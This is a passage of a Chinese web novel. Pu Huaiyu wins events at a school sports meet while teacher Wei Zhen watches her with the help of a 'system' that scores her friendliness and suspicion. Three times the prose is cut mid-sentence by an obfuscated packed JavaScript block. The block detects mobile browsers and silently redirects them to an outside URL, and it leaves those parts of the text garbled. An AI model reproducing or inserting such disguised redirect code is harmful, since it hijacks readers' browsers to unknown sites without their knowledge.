她摊手,像个把自己的生死置之度外的英杰:“他们要的新意,我毁了。” “魏老师没怎么你吧?” “咋可能。”卫殊说,“魏老师也觉得有被冒犯到,对我比划了两下就放我走了。” 濮怀玉想起这个插曲,和嘈杂声中的好友隔着人堆相望。 真是好勇的卫殊。 濮怀玉清楚,等到了跑道上,卫殊只会更勇。 10. 010 濮怀玉报名了八百米耐力跑和接力跑。两个项目一个在周四,一个在周五,不用担心会有体力耗尽的情况。 原本只有两项,濮怀玉也就事先规律地练习了这两个项目,但在体育课代表的请求,以及秦紫怡的再三央求下,濮怀玉答应在标枪项目中留下自己的名字。 秦紫怡有时候会脑洞大开,突然变得勇于涉足知识盲区。简而言之,她非常擅长热血上头后把自己逼入很难应对的境地,此刻反应过来,对着好友差点一把鼻涕一把泪:“就当是陪我,行不行?我求你了求你了求你了……” “行,就当是陪你。” 主要还是因为秦紫怡求她,濮怀玉才勉为其难打了勾,边打勾边叹气,“你这个时候肺活量倒是好起来了。” 能一口气说上这么多句恳求之语,跟黄鼠狼一样圆着黑豆眼睛求饶。 秦紫怡只是害羞一笑:“我膝盖软嘛,不多说几句你哪里能同意。” 有她点过头,秦紫怡开始充当狗头军师,安排起来头头是道:“我都想好了,我们可以在运动会前一周的体育课上练。体育老师不也说了吗?这段时间做完热身运动,可以根据自己报名的项目有针对性地练习。” 濮怀玉斜着眼睛:“你确定是‘练习’,不是从零开始?” 标枪在耐力跑之后,濮怀玉知道自己肯定会有体力完成,关键是她对标枪一窍不通,还没摸到门框。 没入门,就得求人。 体育老师三十岁出头,正经体育生出身,不可免俗沾上体育生脾性,听到秦紫怡拜托后首先是揶揄:“一点都不会?一点不会报什么名啊,你们两个女生也是真有主意。” 你明明刚才教了其他男同学。秦紫怡心里不舒服,但也只能朝着他嘿嘿一笑:“所以这不是来请教孙老师了吗?” 濮怀玉站在秦紫怡后,冷不丁说:“每年到运动会当天才第一次摸到标枪,摸到撑杆跳杆子的同学也不少。我们班女生不多,硬是能把人数凑得差不多,老师你应该看得见。” 她一说话,体育老师不太好的记性骤然被唤醒大半。就像平静无波的泳池突然发难,溅人一身的水花,定睛一看是条鲨鱼;泳池也不是泳池,是片大海。 “濮怀玉,是吧?”他的眼神比刚才凝起来不少,“我应该记得你的,你天赋太好了。” 濮怀玉面无表情:“孙老师好。” 体育老师身体离开看台,作为老师应当具备的爱才之心终于压过偏见显现出存在感:“你好你好。你跟这位……同学一起报了标枪是吧?过来,我教你们。” 秦紫怡体育一般,不好不坏,侧身双腿交替跑的时候有点笨拙,需要更长时间适应。 但她不沮丧,一是姿势终于有点样子,不管扔得远不远,总算像半个专业人生,二是濮怀玉作为她的好闺闺实在太争气了,也就一节课加半个下课的时间,标枪在她手里像长了翅膀,“扑棱”一下子飞出去好远。 “好!刚才那个太漂亮了。” 体育老师激动起来,手臂一起一落,把运动裤两侧拍得“啪啪”响。 能不漂亮吗,她压着一股被人看扁的气扔的。竭尽全力投掷带来的冲力和着似乎朝前踉跄的脚步,压下少女扬起的脊背。她晃悠着走了两步,抬头,视线跟随标枪的尖端一同扎进地里面。 天知道秦紫怡努力了一节课,也只能让标枪“咣当”一声,摆烂似的两脚朝天在地上,根本扎不进去。 “厉害啊!”秦紫怡激动到像是她自己丢出来的,在原地又蹦又鼓掌。 而对体育老师,伴随爱才心的还有懊恼,以及淡淡的嫉妒。 “你这天赋,简直了。”他摸着下巴,“濮怀玉同学,你真不打算练体育啊?你要是愿意走专业,不少人要被你打败。” 毕竟让体育老师注意到濮怀玉的,除了体育课上她的表现和一次次体育小测,最重要的是运动会上跑过体育生虎口夺食的战绩。 濮怀玉身上含着冷意:“不练。强身健体就可以了。” 于是傍晚,隗祯下班回家的路上不仅能看到濮怀玉练习耐力跑的跑姿,还有自她的手一次次飞向远方、恍惚间似是鸟类生物的羽翅的标枪。 「任务对象怀疑值虽然有所回落,但依旧维持在较高水平。建议宿主不要打扰,以免造成意外。」 目前的怀疑值是70,就好像濮怀玉一个人独处时思虑甚多,最终决定将咬下的力度放缓些许。 但隗祯决定远观并不是因为怀疑值,亦非潜在的、友好值会下降的风险,而是他是个守候同学成长的老师。 打断同学的成长、打断濮怀玉全神贯注的努力,隗祯觉得自己身为教师,这么做是要遭天谴的。 「就算你要求我去卖个好,我也不会这么做的。」 「宿主能够在挫折中得到成长,系统感到很欣慰,可见宿主在原世界取得的成就也不全是因为运气好。」 「……」多被挤兑挤兑就习惯了。 出于对任务对象的关注,运动会前隗祯只要不忙,就会远远驻足看上一会儿。大多数时间濮怀玉都是一个人,一个人更自由,时间安排起来更灵活。但也有时候,她会拉上她那个运动神经不太好的朋友,或者将运动神经好一点的另一位也拉来。 欠缺物质支持的青春很难焕发不一样的光彩,所有人经历的大同小异,无非是在上课和考试间塞入一点廉价的彩带,甚至不会有拉动礼花时“嘭”的那一声,因为实在鲜明到出格,不易被这个阶段的集中管理需求所容忍。用校长在教师会议上说的话类比,“要是每个学生都这样,那还得了”。 隗祯自己的青春,回忆起来也就那样。父母不愿意过早放他走,因此隗祯高中念的是国内一所贵族私立学校。同学的出身都被严格审核过,无不是一个圈子里的名门望族,他们中的绝大数人都让隗祯对学校title里“贵族”两个字嗤之以鼻。但该有的设施,该有的活动,该被双手捧到他眼底的、密如繁星的选择,隗祯从未错过。 说起来,隋城一中的操场,有母校橄榄球场的一半大吗? 刚入职时,隗祯想过这个问题。如今再度回想,投注的情感却不同。现在他觉得可惜,可惜包括濮怀玉在内的这群学生淤积在面积有限的塑胶跑道上,不得不咀嚼相似的、单一的人生。 其他同学,隗祯不了解,更像是出自一个教师理应具有的一视同仁之心去思索他们的处境;但濮怀玉的品性和才能,隗祯是清楚的,所以他对濮怀玉抱有更多的惋惜。 此时,系统语露讥讽,不知道第多少次祛除机器对人的恭敬道:「你看濮怀玉,她需要你可怜她吗?」 燃烧的晚霞之下,少女结束训练,被好友一人一边揽住肩膀,三个人走得歪歪斜斜,差点撞到光顾着捡球埋头跑来的男同学。 那男同学随后捡起球,像是不满地说了两句,肯定不是好话,总之濮怀玉伸出了拳头挥了挥,不用看表情都知道,没有表情的她看起来活脱脱一个小恶霸。 隗祯起初下意识想皱眉,后来变成一点无奈的微笑。倒是很符合他对濮怀玉错误的第一印象。 等少女转过身,那张从来表情甚少的脸硬是让隗祯看出对好友的纵容,以及有气就出的舒适。 「那个同学对她们三个说了什么?」 「不帮忙捡就算了,三个傻*挡什么路啊,我看是欠踢了。」 隗祯皱眉,嘴角笑容消失。 「濮同学还是太仁慈。」 他开始有意识地偏向谁,他自己明白。濮怀玉是事故体质,这跟她路见不平的个性有关。要是刚才闹出了事,隗祯觉得自己能做个见证。 大约是濮怀玉有所克制,三个人最终略过了这一小插曲,往教学楼里走,相互依靠、拥挤的身影很快湮没在校内的梧桐树丛里。 一时还真不知道,究竟是随波逐流被交叠的叶片吞没,还是她用青春岁月将一树一花吞没。 紧接着是月考,然后运动会开始了。 隗祯的教学生活好不容易清闲几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448475|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,但也都用来填各种表和调整赛课教案上。入职不久就闯进省赛,无疑受人瞩目,连校长都闲的没事干、在这件事情上对他委以重任。 最烦的是,何老师说他这样的年轻教师,免不了最后的教师赛跑。 她悠闲地喝一口茶:“校长可喜欢跟年轻人比比谁跑得快了。”何老师甚至意味深长地瞥了隗祯一眼,“要是能赢过你,校长的成就感恐怕不是一般的高。” “……”看来校长挺着若隐若现的啤酒肚从来没有输过。 运动会当天,烈日当头,气温却没有高到那般难熬。 濮怀玉领到自己的号码牌,别针勾起一角嵌进胸前的短袖布料。她转头要帮秦紫怡也别上,结果正前方一空,低下头只有好友俯身干呕时露出的脖颈。 扶到附近的座位上缓了缓,秦紫怡喝了两口运动饮料,荔枝味的,总算回了点神。 她忧伤起来:“小玉,我是不是只能待在阴暗的角落刷题,阳光下的青春跟我无关……” 濮怀玉马上双手离开她肩膀:“哇,会做数学题的巨型蟑螂。” “我不是蟑螂!啊啊啊我才不是!!” 一提到最害怕的小强,只是“想”就能一身鸡皮疙瘩,秦紫怡崩溃大叫起来。这样的音量在运动会现场没法引出太多注意,但破窗效应让秦紫怡一下子忘记了呕吐,恨不得当场拿杀虫剂给自己浑身来两下。 “八百米耐力跑预赛准备——” 濮怀玉起身,郑重地拍击秦紫怡肩膀:“巨大型蟑螂,我要跑了。你在阳光下虽然活不了太久,但还是坚持一下吧。” “喂喂,你还玩上了,谁要跟小强科生物扯上关系啊!” 然而,濮怀玉已经顺着阶梯向下,双脚踏在过道上后方才转过身,对她挥一挥手,然后挑起两边两小撮头发拎起来,无疑是在模拟史上最恶生物头顶的两根触须。 秦紫怡气得握紧拳头:“可恶——!” 哪有这样逗人开心的! 但等濮怀玉的身影越来越小,秦紫怡情绪稍稍平复,又因为她面无表情竖起触须的样子暗暗觉得好笑。 论幽默感,秦紫怡还没遇上第二个比得过她老公的。 魏老师眼看濮怀玉全副武装走向起跑线,转过头呼吁:“同学们,我们班的濮怀玉马上就要开跑了!我们一起为她加油!” “我们到前面去吧,这里太远。”卫殊拉住秦紫怡,两个人跨越千山万水来到塑胶跑道。 伴随信号枪响,那道身影已经飞驰而出。 放眼塑胶跑道,只有濮怀玉和另一位专业选手咬死开始时间疾驰而出,其他女生要么跑得不够快,要么一看便是“能活下来就行”的态度。 跟训练有素的体育生较量,常人多少会犯怵。但濮怀玉一点都不怵,她也没什么乱七八糟的口诀技巧,纯莽。 就像终于从笼子里被放出来的狼,够莽够凶猛,指望“饱餐”一顿。不然她那个头,那比例,那一身用短袖短裤显摆出来的肌肉,长出来是干什么的?可不止是用来看。 用卫殊的话,她穿衣显瘦,脱衣可显肌肉了。“你要真是秦紫怡老公,她肯定有福了。”卫殊甚至开了个相对有点“过分”的玩笑,“可惜我们都是绝望的直女。” 濮怀玉没觉得过分,同性的欣赏对她来说就像盛放的鲜花,直白一点是玫瑰、芍药、大丽花,含蓄一点是茉莉、铃兰、马蹄莲,她不会拒绝一朵精心为她开放的花,或许她自己也是一朵,对此只会点头说“谢谢”。 秦紫怡倒是像模像样害羞上了,不过她一贯爱演,濮怀玉权当是跟她公演情景剧,多问了一句“所以你幸福吗”。 “讨厌,幸福死了!” 而如今,她在为这个强悍的好友幸福地高呼“加油”。 那体育生对濮怀玉有所耳闻,但怎么想自己的胜率都不可能低于百分之九十九,起初跑得很放松。 一听脚步声,不对。 转头确认之间,濮怀玉已然领先她半个身位。 11. 011 比起论之为“好胜心”,濮怀玉全力以赴的过程其实相当沉静,不是一句“好胜心作祟”就能够概括的。简而言之,她有策略,也有能力。 不管旁人如何认为,如何觉得普通学生输给受过专业训练的体育生不丢人,她都把跑道上除自己以外所有人视作对手,谨慎地规划胜利。 “濮怀玉!濮怀玉!!” 秦紫怡呼喊到差点缺氧,连自己在哪儿都有点摸不清楚,更不用说为接下来的标枪比赛紧张到呕吐——她的肾上腺素跟濮怀玉交替出残影的脚步一起飙升。 卫殊扶着她:“嘿,你悠着点。” 但作为班主任的魏老师显然也不准备“悠着一点”,她组织班上同学一起为濮怀玉加油,把考验持久力的耐力跑喊出短跑冲刺的感觉。 她不懂什么是新意,但在她的组织下,加油声有如浪潮一般。 “濮怀玉——” “加油!!” “濮怀玉——” “必胜!!啊啊啊超过了!!!” 喜欢她的,不喜欢她的,嫉妒她的,对她有意见的,此刻都得为濮怀玉欢呼助力,就连装出来的热忱最终都成了真心。只因少女身上迸发出的、最原始的生命力,那种不会被磨灭的向上的灵性,灿烂炽热到让人耳晕目眩。 “向前吧,抛弃所有顾虑,只要你愿意”,体能在实力并不悬殊的竞争中耗费极快,而濮怀玉死咬着那一点距离,知晓哪怕落后一小段都算输,分秒必争,绝不让步。 汗珠尽数被风刮去,连同四绽的短发一同高高扬起。就算整个人都在下沉,好像马上就要嵌进塑胶里,濮怀玉也没有放松,想要“向上”的心强烈到咄咄逼人。 卫殊凝望终点线:“要冲刺了。” 那个仿佛没有弱点的天赋怪,扛着积累的酸楚与疼痛,将和竞争对手的距离拉大—— 裁判在她冲出的那一刻吹哨:“第一名!”再然后对紧跟其后的对手吹哨,于是“第二名”暂时成为了输家的粉饰。 女生懊恼不已,抹了一把脸,浑身的行头都好像在让她更为难堪。等待她的会是教练的训斥吗,有没有使全力她自己知道,使了全力还输掉,让人情何以堪? 她看向不远处,少女被簇拥着,好像下一秒就会被人高高抛起。然而那个后知后觉被汗水浸湿的身影转过,走上前对她伸出手。 “啪”一声,两只手相互握紧。 “我看到了。”松开手,濮怀玉将一瓶矿泉水抛给女生,一个抛一个接住,两个人凭一场比赛产生了默契,“我们两个,都打破了学校的记录。” 她笑:“这还只是预赛。” 女生拧瓶盖的动作一滞,别过脸。 “……第二名就是第二名。” 濮怀玉:“那记录也是真的打破了。”至少在她看来,第二名并不是粉饰。总有人当第二,但她们一起完成了某个目标,不能否认。 为准备接下来的标枪比赛,濮怀玉不再多言,原地放松过小腿肚子,检查过号码牌便跟秦紫怡一起去检录处。 在检录处还遇上一个熟人,学生会的秦紫涵。长得跟秦紫怡有七分相似,比起姐姐的圆钝多了几分精明气质,然而笑起来散发出如出一辙的傻气。 她拿着相机,一道白光闪过,已经留下了亲姐满脸惊恐时的珍贵影像。 “Ohmygod!你怎么来了。” 跟很多姐妹中的姐姐一样,秦紫怡是跟妹妹打打闹闹长大的,自然不希望自己出丑被她看见。 秦紫涵:“我来拍照啊。” “你不是副主席吗!副主席还要拍照啊?” “咱们这一届七八个副主席呢,你就当我混得不好,被边缘化到出来干杂活好了。” 她对濮怀玉就很温良,说“濮学姐好”,然后低头调整焦距,让秦紫怡看着牙酸,说“真谄媚”。 “不是谄媚,是学姐真的很厉害。” 秦紫怡说过,她的妹妹梦想是当记者,也适合当记者,说话时很笃定,也很温情。濮怀玉想起这点,对准学妹的镜头,条件反射竖起剪刀手。 “哈哈,学姐,不是现在拍啦。”秦紫涵从相机后面探出头,对濮怀玉扬了扬眉毛,“我得拍到你扔标枪的样子才行。学姐放心,我肯定把你拍得帅帅的。” 秦紫怡阿巴阿巴:“我呢?” “我要真拍了你,让你登上校报和学校公众号,你又要跟我叽叽歪歪‘啊啊啊秦紫涵你存心让我出丑看我不打死你’。” 濮怀玉:“怎么能打人呢。” 秦紫怡涨红了脸:“秦紫涵!你非要揭我的短是吧!” “请4921选手到检录处检录——” “请4922选手到检录处检录——” “来了来了!”秦紫怡拉住濮怀玉,不忘警告妹妹,“不许拍我的丑照,还有,把我朋友拍好看一点。” 秦紫涵敷衍地说“知道了”,跟在她们后面走进了这场比赛的主阵地。 这大概是秦紫怡发挥最好的一次,标枪前端差点就要以标准姿态往里面扎。 之所以是“差点”,意味秦紫怡每次都失之交臂。好在距离够远,而运动会的规则是,只要标枪的头能碰到地面就行,不要求从头到脚合规,否则大多数人的成绩都要失效。 不过,就算标准勒紧,濮怀玉也是毋庸置疑的第一名。小组里没有体育生,而有没有对她都一样,她一样能把标枪抛得又远又好。 整套动作行云流水,牵动的肌肉线条极富张力,就像猎人手里舒张之间的弓。既张弓,当然要搭箭,于是标枪遥遥朝天际射去。 倒像是应了心理课上那一幅画。 隗祯看不清濮怀玉整个人,自然错过她注意力极度收紧时凛冽的眉眼,但他似乎可以想象得出来。 一切有如呼吸那般自然。濮怀玉有迁就友人、气场温暖的时刻,当然也会因为全力以赴变的沉静、冷感。 「宿主的认知终于得到了纠正,真是可喜可贺。」系统的冷漠完全不一样,具有另一个纬度的非人感,「宿主不用担心任务对象会在运动会前后需要心理咨询,系统推测本次运动会,任务对象获得第一名的项目占据所有项目的百分之百。宿主还是好好考虑明日的教师比赛,以及运动会结束后的省赛……」 隗祯恼怒了:「我知道!」 一桩又一桩,再提他真要得抑郁症了。 最后濮怀玉拿了第一,秦紫怡合计合计拿了第三,喜气洋洋站上领奖台,向镜头展示奖状时直乐呵。 跳下颁奖台的时候脚下一晃,到底也在妹妹面前稳住了,眼神示意“老娘可是颁奖台上有名有姓的人物”。秦紫涵回了一个“那你好棒棒”的眼神。 濮怀玉经过,“你们两个,有功夫在这里你一眼我一眼,不如想想午饭吃什么。” 下午还有800米决赛,她的思绪已经飞到吃完午饭后倒头就睡,失去意识的时候了。 秦紫怡揽住她的胳膊:“我坚决跟你走。” “我有我的朋友,在学校还要跟你一张桌子吃饭,想想都倒霉。”秦紫涵自诩比姐姐性格成熟多了,不甘示弱,“你继续一副没断奶的样子吧。” 她撂下狠话就走,走得可快了,秦紫怡都不知道怎么回击。 “没断奶就没断奶!我在学校给自己认了个老公,那又怎样。” 濮怀玉:“魏老师来了。” “哎呀,我这死嘴。”秦紫怡小心翼翼打自己的嘴巴一下,再珍惜地揉揉,找补起来能说个不停,虽然听不太懂,“魏老师,我说的是其实是劳工,那么劳工是什么呢?哎,这其实是我跟我的好朋友濮怀玉同学之间的小游戏……” 濮怀玉:“魏老师似乎走了。” “……什么似乎,魏老师根本没来!你能不能不要再整我了!” 然而,魏老师这次真的路过了,听到声音稀奇地停下脚步:“整什么呢,你们两个在这儿站着,午饭不准备吃吗?” 就这样,秦紫怡在僵硬中被拉到了教师食堂。本就物美价廉,再加上餐补,魏老师连同两个学生的午饭一起刷了卡,也才花了不到二十五块钱。 今天不强制同学进行集体自习和午休,因此魏老师问了她一句“等下怎么走”。 秦紫怡好不容易把舌头捋直:“我妈壤……让我直接在学校午休。” “行。中午我不在,注意点纪律。” 真不在啊?秦紫怡窝窝囊囊应好,先低头扒了几口饭,然后掀起一点眼皮。 魏老师真的不来视察吗?她怎么就不能相信呢。 问过秦紫怡的去向,魏老师放了心,此后闲聊都是跟濮怀玉一问一答: “这次月考,感觉怎么样?” “手感没有双周练好。尤其是数学和物理,题目构成跟之前的考试很不一样,做起来没那么顺手。其他学科还好。” “这次用了北方的试题风格, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448476|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各个学科的教研组说了,要让你们尽可能习惯各种题型。” 秦紫怡觉得,濮怀玉不仅能自然地回答上来,一点都不磕磕绊绊,跟老师说话就像在跟老友闲话一样,又能在自然的基础上不走向另一个名为“随便”“没有敬畏心”的极端,真的很厉害。 她要是被这么问,早就冷汗直冒了。班主任来打探考试情况,跟一对一对答案、讲试卷有什么区别。 濮怀玉就不一样,她好像已经知道“为什么”了。为什么要学习,老师为什么会关心她,老师为什么是老师。她好像都很明白。 秦紫怡觉得这样的濮怀玉很耀眼。 话题渐渐从课桌上转移到学校外。魏老师问起濮怀玉没有血缘的家人:“上周末回家,院长身体怎么样?” “动了个小手术,还在休养。”提到院长,濮怀玉面露不满,“昨天晚上我跟妈妈通电话,结果她又在干活,我说了她半个小时。” 魏老师叹息:“能劝就劝。院长年纪大了,要是还把自己当成年轻时候,小心积劳成疾。她要管那么多孩子,那么多,各个年龄段的孩子都有,单是想想头皮都会往外炸。” “我会的。” 秦紫怡蓦地发现,魏老师此刻的措辞似乎并不那么像“老师”。 而魏老师眼中一闪而过的落寞,则被濮怀玉捕捉。 那么多孩子,没有一个是她的。 她自己亲生的孩子当初在法庭上为了跟父亲走闹得有多凶,她心上的伤痕就有多深。 做老师就是这样。在学生这头吃力不讨好,在家庭那头、孩子那头同样吃力不讨好。 “魏老师,孩子们很想你。”濮怀玉道,“你不教他们什么,只是跟他们一起吃饭,他们也很欢迎你的。” 魏老师笑了:“又要我吃白食啊?” “我跟秦紫怡不正在吃着吗。” 被提到时,秦紫怡配合地嘿嘿一笑。 尽管在笑,尽管不知道魏老师身上具体发生了什么,她总觉得心里有些酸酸的。 放置餐盘的时候,濮怀玉走在前面,秦紫怡紧跟身旁,悄悄问她“魏老师怎么了”。 “高二上学期,期中考试前后,不是有传魏老师离婚了吗?还打了官司。” 在这个安逸的、颇讲人情的小城市,为离婚上法庭简直耸人听闻。 濮怀玉放下餐盘的动作变得缓慢。 她知道,魏老师已经恢复常态,因为生活还得继续,如今她落到最后面,正跟别的老师打招呼。 “隗老师,一中的教师食堂还不错吧?” 低沉的男音含着磁性与温柔:“很好,很方便。” 濮怀玉转过身,正是隗祯。 继上上次他失言,上次她解围,已经过去很多天了。也就是说,濮怀玉已经很久都没有看见这张不真实到让人眩目的容颜。 她并不想念,皮囊终究只是皮囊。只是在隗祯看向自己时,濮怀玉会因为无法回答秦紫怡的问题,转移话题似的说一声“隗老师好”而已。 “你好。”隗祯不知不觉扬起微笑,“濮同学和秦同学都在比赛中拿了名次,恭喜。” 他的性别、容貌、青春和学识,无疑会让他受到优待。他当然不需要像魏老师一样劳心劳力,一味付出的妻子、有所偏好的职场,总有一方会让他获得成功,即便在他身上一切刚刚开始,尚且没有尘埃落定。 她微点头:“谢谢老师。” 依稀透露生疏感,视线也很快向别处去。 「友好值-3」 「友好值+3」 「当前友好值:23。」 剧烈的变动让隗祯的心跟着颤了颤。他不明白里面的原因,但第二天濮怀玉确实在视野以外给了他惊喜。 是因为这时听到他要给魏老师带礼物,用来感谢她的指引吗?毕竟,一下子“叮咚”上升了好几格友好值。 第二天,濮怀玉坐在看台上。魏老师从场外归来路过她,她恰好有事要问:“魏老师,所以隗老师的身世,是不是真的……?” “这是隗老师亲口告诉你的吗?唉。他能一个人走到今天,也确实不容易。” 竟然是真的。 ……或许她应该更慎重地组织自己的看法。没有道理她只能理解魏老师,却不能理解其他人的难处。 「友好值+5」 「当前友好值:30。」 「当前怀疑值:40。」 12. 012 濮怀玉毫无疑问拿下了女子八百米跑的冠军。 决赛不如预赛精彩,但第一名和第二名双双打破学校,以及第一名是没受过专业训练的普通学生无疑很受瞩目,至少校报有了很好的宣传素材。 秦紫涵抱着相机,专注地半蹲着:“第一名可以笑一笑。……自然一点,对,就是这样,一二三——” 到最后,濮怀玉也分不清自己到底有没有笑。但她想,自己都用上剪刀手了,应该没有人觉得她在不开心吧。 反正当校报发到每张课桌上的时候,校长的笑容灿烂无比,隐隐盖过了颁奖台站着的三个女学生的风头。 而濮怀玉理所当然成了典型,身上叠满了让学校高层喜笑颜开的buff,被大肆书写。如此倒也没有什么事,除了领导会看校报,谁会花时间细看小小的方块黑字。 但在这之前,濮怀玉还有个项目没完成。除了没完成的接力跑,她还很期待最后的彩蛋环节,有股看熟人演戏的幽默感。 好歹第一天结束了。洗漱完,熄过灯,濮怀玉躺在宿舍的小床上。室内有四张床,但只有她一人住,是靠近阳台的下铺。抬眼间窗外一片昏暗,万籁俱寂。 听说床空得久了,容易招来常人看不见的住客。 濮怀玉可惜起来。初二春游,过路的算命先生没收她钱,见到她张口便称“你身上阳气太足了,比大多数男人都足”,看来她是招不来室友,注定冷冷清清到毕业了。 一夜无梦。 第二日早晨,班级陆陆续续到齐。裁判员赶往操场,塑胶跑道上剩余的项目尚未开始,看台稀稀拉拉,隐隐有心不在焉、草草结束的迹象。 1班消失了一半还多的男生,如果不是魏老师半路回来整顿纪律,基本每个班都会有的精神文明奖就要飞了。 卫殊也消失了一阵,回来挨着濮怀玉坐,说他们都去朱老师办公室看成绩了。 “成绩全出来了,朱老师办公室里全是人,里一层外一层,把朱老师挤得够呛。”她低头,从口袋里摸出一张被撞得没了四角的纸片,“我看不惯章绪君那样子,朱老师也看不惯。他以为你这次没拿第一名,他就能当第一了吗?” “他多少?” “第五。” 濮怀玉恍然大悟:“难怪章绪君回来以后坐在那边哭。” 长得好看,但是哭得不好看,眼泪都压扁了黏在脸上,像是顽固的胶水,有种打不过理所当然耍赖的苦命感。 当时,不知道是起哄,还是真情实感让她“哄一哄”,有女生怜香惜玉给了纸巾,然后一个猛回头,跟她对上视线。 “濮怀玉,你把章绪君惹哭了,你来哄。” 濮怀玉言简意赅:“我不会无实物表演。”直接将那女同学噎住,对方只好悻悻离开。 毕竟刚才都没有接触过,何来的“惹哭”。何况都哭成湿漉漉的一团鼻涕纸了,太难看。她要是真的存了逗弄谁的心思,肯定会挑一挑,好歹得配得上“梨花带雨”四个字才够格。 “真哭了啊。让我看看。”卫殊一听,喜笑颜开探出头,结果没见着人影,“他没有项目了吧,怎么不见了。” 濮怀玉:“2班班主任让他去厕所洗干净眼睛再回来。”她顿了顿,“实在哭的不好看。” 接力赛终于要开跑了,秦紫怡姗姗来迟。 她指向濮怀玉:“你第二名。”再骄傲地拍拍自己胸脯,“我进步了,第七名!” “我知道。等下我跟卫殊就要上场了,记得加油。”濮怀玉早就草草看了一眼,分数在自己意料之内,看过就忘了。眼下她更在乎即将开始的4×100接力跑。 最后一个项目了。广播声过后,濮怀玉跟卫殊一前一后走向跑道。 短发若有若无扫动少女的肩膀,肩膀正因走动微晃,下延到那双虽然放松着、但很容易联想起专注时充满力量感的手,让人想要牵一牵,跟她走这一程。 也正是这段只有两个人的路,卫殊问出了潜藏在心中许久的问题:“为什么把我放在你后面,拿最后一棒?明明你更适合冲刺。把我放在中间才是最好的选择。” “如果前面是我,你一定会因为不想输给我的心态跑好最后一棒。” 她给予她的,是一个如此笃定、如此了解她的回眸。 “在后面,不一定是坏事。”濮怀玉道,“无论我们两个是在竞争,还是合作。” 在卫殊单方面盯上她的世界里,濮怀玉自始至终都承认自己的离开是技不如人。哪怕后面她赢了卫殊太多次,赢到卫殊自己都怀疑之前她是不是放了水、是不是自己的运气碰巧好了那么一次,濮怀玉依旧这么认为。 “所以,你怎么就觉得自己一定跑不好。”她们快要抵达检录处,濮怀玉加快了脚步,目光微垂——卫殊下意识的亦步亦趋印证了她的猜想。 卫殊起初不解,目光随之下沉,随即红了脸颊。 “预备——” 信号枪的脆响尚未完全落下,卫殊等在濮怀玉后面一个节点上,已经开始微微发汗。 濮怀玉说的没错,要是没有接好拼尽全力送到手边的这一棒,她想死的心都有了。 濮怀玉顺利接过。她跑得好快,快到她的心率也变得急促起来。 濮怀玉正在靠近她。能感受那股渐渐逼近的风。 ……拿到了!卫殊最后一个跑出去。 接力跑因为站位原因,很难根据相对位置判断快慢。但卫殊的优势,就在于她不和旁人正面竞争、只跟自己比较的时候,往往能够超出过往给自己塑造的框架。 拐弯超车的时候,她不禁想:秦紫怡的声音也太明显了,感觉是运动会结束后要让她的护士长妈妈帮忙拿药的程度。 快一点。再快一点。 冲过终点线的时候,卫殊依旧没有卸力。她有没有做到最好?似乎已经是最好了。 但有没有赢过别人,卫殊不好判断。 直到被队友拥了个满怀。 “你太厉害了!我们班肯定是第一名!” “真的吗?”卫殊淹没在女生们的臂弯里,有些难以呼吸。她艰难地让自己的头弹出弯起的手臂,就像溺水的人乘上游泳圈,然后向濮怀玉确认:“真的?” 濮怀玉点头:“真的。你的努力练习没有白费。” 这句话,就像船上的人对仍处于深海恐惧中的同伴安抚道“你其实也在船上”,卫殊终于高兴起来。 最后一棒的重要性不言而喻,哪怕有刚在两个项目中拿下冠军的濮怀玉在,她们依旧赞美落下决胜之笔的卫殊。 濮怀玉等卫殊享受完这一时刻,然后她们一起参加颁奖典礼,再慢慢走回看台。 卫殊暗自回味:“怎么这么快就结束了。” “还没完全结束呢。”濮怀玉示意她看向不远处,“你看那儿,好多老师。” 既是新老师陪行至中老年的校长玩这个游戏,绝大多数都是生面孔。能在1班任教的基本都是资历不一般的老教师,因此卫殊粗略地一眼望过去,除了感慨,乍看倒没有特别的感触。 “那不是隗老师吗。”细看之后,卫殊发现了华点,“还是第一次看到隗老师穿运动服。” 隗祯平常的打扮总是很正式,各种衬衫不重样,在细节处彰显不同,而且件件熨烫到看不见任何褶皱。 他似乎有严重的洁癖,办公桌也总是收拾得异常整齐。濮怀玉摸了摸自己的额头,然后是脖颈,随风自然干涸的汗液成了某种带着淡淡黏意的附着物,好在没有其他异味。 好吧,她只是个有汗腺的正常女孩,再精致也不能克服生理反应。 不过再怎么样,都比稍微动一动就会浑身臭烘烘的男同学好。濮怀玉有无数个瞬间都会庆幸自己是个女孩,哪怕生活得并没有那么精细,也能干干净净的。 “快回去吧,在高处看视野好。” 卫殊拉起她的手:“那得用跑的。” 她们走得太急,气喘吁吁落了座。前排的魏老师见状,将功能饮料递给第一排的同学,嘱托一个一个传到后面去。 濮怀玉礼貌道谢,抬眸时对魏老师轻轻点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统笑纳了他的致歉:「宿主要是能成为任务对象眼里一道特别的过路风景,就像一株引人注目的名贵花草,想来以任务对象的慷慨,不时用友好值浇灌一二直到满值,很有可能。」 